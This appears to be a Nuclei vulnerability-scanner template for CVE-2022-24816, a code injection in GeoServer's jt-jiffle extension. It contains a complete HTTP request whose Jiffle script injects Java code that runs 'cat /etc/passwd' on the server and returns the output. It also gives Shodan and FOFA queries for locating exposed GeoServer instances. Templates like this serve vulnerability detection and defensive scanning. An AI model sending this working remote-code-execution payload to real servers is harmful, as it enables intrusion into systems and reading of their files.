74 lines
3.6 KiB
YAML
74 lines
3.6 KiB
YAML
id: CVE-2022-24816
|
|
|
|
info:
|
|
name: Geoserver Server - Code Injection
|
|
author: mukundbhuva
|
|
severity: critical
|
|
description: |
|
|
Programs using jt-jiffle, and allowing Jiffle script to be provided via network request, are susceptible to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects the downstream GeoServer project Version < 1.1.22.
|
|
reference:
|
|
- https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-24816
|
|
- https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
|
|
- https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-24816
|
|
cwe-id: CWE-94
|
|
metadata:
|
|
fofa-query: app="GeoServer"
|
|
shodan-query: /geoserver/
|
|
verified: "true"
|
|
tags: cve,cve2022,geoserver,rce
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /geoserver/wms HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
|
|
<ows:Identifier>ras:Jiffle</ows:Identifier>
|
|
<wps:DataInputs>
|
|
<wps:Input>
|
|
<ows:Identifier>coverage</ows:Identifier>
|
|
<wps:Data>
|
|
<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
|
|
</wps:Data>
|
|
</wps:Input>
|
|
<wps:Input>
|
|
<ows:Identifier>script</ows:Identifier>
|
|
<wps:Data>
|
|
<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
|
|
</wps:Data>
|
|
</wps:Input>
|
|
<wps:Input>
|
|
<ows:Identifier>outputType</ows:Identifier>
|
|
<wps:Data>
|
|
<wps:LiteralData>DOUBLE</wps:LiteralData>
|
|
</wps:Data>
|
|
</wps:Input>
|
|
</wps:DataInputs>
|
|
<wps:ResponseForm>
|
|
<wps:RawDataOutput mimeType="image/tiff">
|
|
<ows:Identifier>result</ows:Identifier>
|
|
</wps:RawDataOutput>
|
|
</wps:ResponseForm>
|
|
</wps:Execute>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "ExceptionInInitializerError"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|